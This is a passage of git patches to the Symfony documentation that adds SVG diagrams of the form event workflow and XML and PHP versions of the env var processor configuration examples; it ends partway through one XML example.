+++ b/_images/form/form_prepopulation_workflow.svg
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
+<svg width="48cm" height="9cm" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="prepopulation">
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="920" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1000" y="1319.84">
+        <tspan x="1000" y="1319.84">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1700" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1780" y="1319.84">
+        <tspan x="1780" y="1319.84">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1080" y1="1311.85" x2="1689" y2="1311.85"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1689,1316.85 1699,1311.85 1689,1306.85 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1106.67 1180 L 1213.33,1180 C 1228.06,1180 1240,1190.5 1240,1203.45 C 1240,1216.4 1228.06,1226.9 1213.33,1226.9 L 1106.67,1226.9 C 1091.94,1226.9 1080,1216.4 1080,1203.45 C 1080,1190.5 1091.94,1180 1106.67,1180z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1160" y="1211.43">
+        <tspan x="1160" y="1211.43">Model data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="1280" width="140" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1550" y="1319.84">
+        <tspan x="1550" y="1319.84">POST_SET_DATA</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1200" y="1280" width="145.381" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1272.69" y="1319.84">
+        <tspan x="1272.69" y="1319.84">PRE_SET_DATA</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1088.7" y="1314.61" width="102.6" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1140" y="1333">
+        <tspan xml:space="preserve" x="1140" y="1333">  setData($data) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1160" y1="1226.9" x2="1160" y2="1300.85"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1155,1300.85 1160,1310.85 1165,1300.85 "/>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1366.97" y="1285.47" width="86.05" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1410" y="1303.85">
+        <tspan x="1410" y="1303.85">normalization</tspan>
+      </text>
+    </g>
+  </g>
+</svg>
diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg
new file mode 100644
index 00000000000..e9ffc4043f7
--- /dev/null
+++ b/_images/form/form_submission_workflow.svg
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
+<svg width="27cm" height="29cm" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="submission">
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1901.61" width="109" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1920">
+        <tspan xml:space="preserve" x="1300" y="1920">  denormalization</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1781.61" width="93.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1800">
+        <tspan xml:space="preserve" x="1300" y="1800">  normalization</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1100" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1180" y="1579.84">
+        <tspan x="1180" y="1579.84">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1340" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1420" y="1579.84">
+        <tspan x="1420" y="1579.84">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1220" y="2040" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="2079.84">
+        <tspan x="1300" y="2079.84">Submitted form</tspan>
+      </text>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1180,1603.71 1180,1640 1300,1640 1300,2028 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2028 1300,2038 1305,2028 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1420,1603.71 1420,1640 1300,1640 1300,2029 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2029 1300,2039 1305,2029 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1004.16 1645 L 1100.81,1645 C 1114.16,1645 1124.98,1655.5 1124.98,1668.45 C 1124.98,1681.4 1114.16,1691.9 1100.81,1691.9 L 1004.16,1691.9 C 990.818,1691.9 980,1681.4 980,1668.45 C 980,1655.5 990.818,1645 1004.16,1645z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1052.49" y="1676.43">
+        <tspan x="1052.49" y="1676.43">Request data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1220" y="1613.61" width="158.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1220" y="1632">
+        <tspan x="1220" y="1632">handleRequest($request) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1124.98" y1="1668.45" x2="1286" y2="1669.67"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1285.96,1674.67 1296,1669.74 1286.04,1664.67 "/>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1700" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1739.84">
+        <tspan x="1300" y="1739.84">PRE_SUBMIT</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1820" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1859.84">
+        <tspan x="1300" y="1859.84">SUBMIT</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1940" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1979.84">
+        <tspan x="1300" y="1979.84">POST_SUBMIT</tspan>
+      </text>
+    </g>
+  </g>
+</svg>
diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg
new file mode 100644
index 00000000000..432a7c51e47
--- /dev/null
+++ b/_images/form/form_workflow.svg
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
+<svg width="27cm" height="21cm" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="global workflow">
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="620" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1560" y="659.838">
+        <tspan x="1560" y="659.838">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1720" y="620" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1800" y="659.838">
+        <tspan x="1800" y="659.838">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1600" y="860" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="899.838">
+        <tspan x="1680" y="899.838">Submitted form</tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1640" y1="651.853" x2="1709" y2="651.853"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1709,656.853 1719,651.853 1709,646.853 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1560,683.706 1560,740 1680,740 1680,847.996 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,847.996 1680,857.996 1685,847.996 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1800,683.706 1800,740 1680,740 1680,849 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,849 1680,859 1685,849 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1626.67 520 L 1733.33,520 C 1748.06,520 1760,530.499 1760,543.449 C 1760,556.4 1748.06,566.898 1733.33,566.898 L 1626.67,566.898 C 1611.94,566.898 1600,556.4 1600,543.449 C 1600,530.499 1611.94,520 1626.67,520z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="551.435">
+        <tspan x="1680" y="551.435">Model data</tspan>
+      </text>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1384.16 780 L 1480.81,780 C 1494.16,780 1504.98,790.499 1504.98,803.449 C 1504.98,816.4 1494.16,826.898 1480.81,826.898 L 1384.16,826.898 C 1370.82,826.898 1360,816.4 1360,803.449 C 1360,790.499 1370.82,780 1384.16,780z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1432.49" y="811.435">
+        <tspan x="1432.49" y="811.435">Request data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1680" y="581.613" width="102.6" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="600">
+        <tspan xml:space="preserve" x="1680" y="600">  setData($data) </tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1510" y="776.613" width="158.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1510" y="795">
+        <tspan x="1510" y="795">handleRequest($request) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1504.98" y1="803.449" x2="1666" y2="804.667"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1665.96,809.667 1676,804.742 1666.04,799.667 "/>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1680" y1="566.898" x2="1680" y2="640.853"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,640.853 1680,650.853 1685,640.853 "/>
+    </g>
+  </g>
+</svg>
diff --git a/_images/sources/form/form_events.dia b/_images/sources/form/form_events.dia
new file mode 100644
index 0000000000000000000000000000000000000000..8e7afb1cb83b5ca8f2c4bb8c52c46641ac75d5ae
GIT binary patch
literal 3179
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
R4;F8}`9D3Hk9Sk$0012tPx=4=

literal 0
HcmV?d00001

diff --git a/form/events.rst b/form/events.rst
index 0f2e26e2775..a99698aa247 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -32,17 +32,16 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows::
 The Form Workflow
 -----------------
 
-The Form Submission Workflow
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. raw:: html
 
-.. image:: /_images/components/form/general_flow.png
-    :align: center
+    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"></object>
 
 1) Pre-populating the Form (``FormEvents::PRE_SET_DATA`` and ``FormEvents::POST_SET_DATA``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/components/form/set_data_flow.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"></object>
 
 Two events are dispatched during pre-population of a form, when
 :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
@@ -118,8 +117,9 @@ View data        Normalized data transformed using a view transformer
 2) Submitting a Form (``FormEvents::PRE_SUBMIT``, ``FormEvents::SUBMIT`` and ``FormEvents::POST_SUBMIT``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/components/form/submission_flow.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"></object>
 
 Three events are dispatched when
 :method:`Form::handleRequest() <Symfony\\Component\\Form\\Form::handleRequest>`

From 9eec4af4800dd347234ccb4f5e231a19ff77493e Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Sun, 3 Jan 2021 21:41:55 +0100
Subject: [PATCH 0328/5766] Add missing configurations in XML and PHP formats

---
 configuration/env_var_processors.rst | 96 ++++++++++++++++++++++++----
 1 file changed, 82 insertions(+), 14 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index f9191d6ede9..710ce3da6b6 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -279,12 +279,42 @@ Symfony provides the following env var processors:
 ``env(csv:FOO)``
     Decodes the content of ``FOO``, which is a CSV-encoded string:
 
-    .. code-block:: yaml
+    .. configuration-block::
 
-        parameters:
-            env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2"
-        framework:
-           trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            parameters:
+                env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2"
+            framework:
+               trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(TRUSTED_HOSTS)">["10.0.0.1", "10.0.0.2"]</parameter>
+                </parameters>
+
+                <framework:config trusted-hosts="%env(csv:TRUSTED_HOSTS)%"/>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+            $container->loadFromExtension('framework', [
+                'trusted_hosts' => '%env(csv:TRUSTED_HOSTS)%',
+            ]);
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
@@ -627,16 +657,54 @@ Symfony provides the following env var processors:
 
 It is also possible to combine any number of processors:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
-    parameters:
-        env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
-    google:
-        # 1. gets the value of the AUTH_FILE env var
-        # 2. replaces the values of any config param to get the config path
-        # 3. gets the content of the file stored in that path
-        # 4. JSON-decodes the content of the file and returns it
-        auth: '%env(json:file:resolve:AUTH_FILE)%'
+        # config/packages/framework.yaml
+        parameters:
+            env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
+        google:
+            # 1. gets the value of the AUTH_FILE env var
+            # 2. replaces the values of any config param to get the config path
+            # 3. gets the content of the file stored in that path
+            # 4. JSON-decodes the content of the file and returns it
+            auth: '%env(json:file:resolve:AUTH_FILE)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
